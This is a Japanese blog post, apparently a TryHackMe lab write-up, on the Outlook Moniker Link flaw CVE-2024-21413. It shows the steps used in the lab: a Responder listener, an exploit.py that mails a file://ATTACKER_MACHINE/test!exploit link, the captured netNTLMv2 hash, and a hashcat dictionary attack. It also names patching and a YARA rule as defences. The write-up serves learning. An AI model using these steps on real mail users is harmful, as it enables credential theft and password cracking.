はじめに
Moniker Link (CVE-2024-21413) の備忘録。
本記事は学習記録です。演習環境のターゲット名・IP・フラグは公開していません。

Moniker Link (CVE-2024-21413)
Moniker Link(モニカー・リンク)とは
Moniker Link は Windows のComponent Object Model(COM)1で使われる「モニカー(識別子)」を指す仕組みの一種で、Outlook がメール中の特定のリンク(例えば file:// で始まるリンク)を処理するときに Moniker Link として解釈されることがある。
特定の形式(末尾に ! を含める等)にすると Outlook の「Protected View(保護ビュー/保護モード)」を回避してしまいリモートのファイルを読み込みにいってしまう問題が見つかった。これを悪用するとユーザーの認証情報(netNTLMv2 ハッシュ)を攻撃者に送らせることができる。
CVE-2024-21413
Outlook が特定のリンク(特に file:// スキームで始まり、後に ! 記号を含むような形式)を解釈すると、リンク先リソースにアクセスを試み、その過程で NTLM 認証情報(netNTLMv2 ハッシュ)を自動的に送信してしまうという挙動が発生するように設計上の欠陥があることが発見された。
さらに、悪意あるリンクを使えば Protected View(保護モード/読み取り専用モード)をバイパスして、ファイルを編集モードで開かせる・実行させるような挙動を誘導でき、その結果、リモートコード実行(Remote Code Execution, RCE)を引き起こす可能性も指摘されている。
実演
Responder で待ち受け
まずは Responder2 で待ち受け。
# インターフェースの特定
└─$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
~以下IP情報(マスク)~
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
~以下IP情報(マスク)~
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
~以下IP情報(マスク)~
# tun0で待ち受け
sudo responder -I tun0
exploit.py の編集
GitHub のコードをコピペし編集。
# 行を表示しエディタを開く
nano -l exploit.py
17行目の ATTACKER_MACHINE を 待ち受け端末のIPに変更。
<p><a href="file://ATTACKER_MACHINE(※ここをIPアドレスに変更)/test!exploit">Click me</a></p>
31行目の MAILSERVER をターゲットマシンのIPに変更。
server = smtplib.SMTP('MAILSERVER(※ここをIPアドレスに変更)', 25)
ターゲットマシンの Outlook を起動
ターゲットマシンの Outlook を起動。

exploit.py を実行
exploit.py を実行。
このコードを実行するとターゲットマシンにメールが送信される。
# exploit.py を実行
$ python3 exploit.py
Enter your attacker email password: ********
Email delivered
Outlook で届いたメールのリンクをクリック
Outlook で届いたメールのリンクをクリック。
待ち受け端末に情報が送信される。

Responder の確認
Responder で netNTLMv2 ハッシュがキャプチャされている。
[SMB] NTLMv2-SSP Client : x.x.x.x
[SMB] NTLMv2-SSP Username : THM-MONIKERLINK\tryhackme
[SMB] NTLMv2-SSP Hash : tryhackme::THM-MONIKERLINK:a2b23215af9cc5d0:ハッシュが表示される
[*] Skipping previously captured hash for THM-MONIKERLINK\tryhackme
[*] Skipping previously captured hash for THM-MONIKERLINK\tryhackme
[*] Skipping previously captured hash for THM-MONIKERLINK\tryhackme
[*] Skipping previously captured hash for THM-MONIKERLINK\tryhackme
[*] Skipping previously captured hash for THM-MONIKERLINK\tryhackme
[*] Skipping previously captured hash for THM-MONIKERLINK\tryhackme
[*] Skipping previously captured hash for THM-MONIKERLINK\tryhackme
[*] Skipping previously captured hash for THM-MONIKERLINK\tryhackme
エラーが発生する
test!exploit のような共有は存在しないため、Outlook は「We can’t find ‘…\test!exploit’」というエラーを出す。
これはファイルが無いことを示す正常な挙動。ただし、重要なのはエラーが表示される前にクライアントは外部ホストへ接続を試み、NTLMによる認証ハンドシェイクが発生する点。攻撃者はこのハンドシェイクで得られるチャレンジ/レスポンスの情報を受け取る。

対策
一部対策を紹介。
公式修正を適用する
Microsoft が公開しているセキュリティ更新を適用。
カスタムルールで検出
GitHub 上でFlorian Roth 氏によって作成・公開された YARA3 ルールが利用可能。
疑問に思ったこと
なぜ netNTLMv2 ハッシュが取得されると危険なのか
NTLM認証はチャレンジ/レスポンス方式で行われ、パスワードそのものは送信されない。
そのため、「ハッシュを取られても意味がないのでは?」と疑問に思った。
調べてみると、ハッシュが窃取されると次の攻撃に繋がるため危険だということが分かった。
例えば、
取得したハッシュ値をオフラインで解析(クラック)できる。
(オフラインで行うため検知されず、何度でも試行可能。)
また、受け取った認証情報を他のサービスへの認証にそのまま使える条件が揃えば、
リレー攻撃(Relay Attack)によって権限を横展開できる。
このようにハッシュの窃取自体が次の侵入の足掛かりになるため、危険性が高い。
ハッシュではなくレスポンスが窃取されるのではないか
「NTLM認証はレスポンスを返すので、レスポンスが窃取されるのであって、ハッシュは取られないのでは?」と疑問に思った。調べてみると表現の問題だったようで、正確にはチャレンジ(server_challenge)とレスポンス(response)がセットで窃取されているとのこと。
シーケンス図
ユーザー端末 (Client) サーバ (Server) 攻撃者 (Attacker)
------------------- ------------- ------------------
1. Negotiate -----------------> (認証方式の提案)
2. ServerChallenge ----------> (チャレンジ送信)
<-- (Challenge) -------------
3. Client: 内部計算
- NTLMv2_hash = HMAC_MD5( NTLM_hash(PW), User+Domain )
- ClientBlob = {timestamp, client_challenge, ...}
- NTLMv2_response = HMAC_MD5( NTLMv2_hash, ServerChallenge ∥ ClientBlob )
4. Client --------------------> Server
(NTLMv2_response + ClientBlob を送信)
↑
| (同じレスポンスを攻撃者が待ち受けて受信可能)
| 攻撃者は名前解決/SMB等でこのやり取りを誘発・傍受
v
Attacker captures: {ServerChallenge, NTLMv2_response, ClientBlob, Username, Domain, ClientIP}
おまけ
窃取した netNTLMv2 ハッシュを rockyou.txt で辞書攻撃してみたが、パスワードは見つからなかった。
# hashcat で辞書攻撃
$ hashcat -m 5600 -a 0 hashcat_test /usr/share/wordlists/rockyou.txt
# マスク済み出力(抜粋)
hashcat (v6.2.6) starting
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: TRYHACKME::<REDACTED_HASH>
Time.Started.....: Tue Oct 7 21:22:25 2025 (6 secs)
Speed.#1.........: 2317.3 kH/s
Recovered........: 0/1 (0.00%)
Progress.........: 14344385/14344385 (100.00%)
# 結果確認(回復済みパスワードの表示)
$ hashcat -m 5600 --show hashcat_test
# (出力が何もなければ、辞書で回復できていないことを意味する)
コメント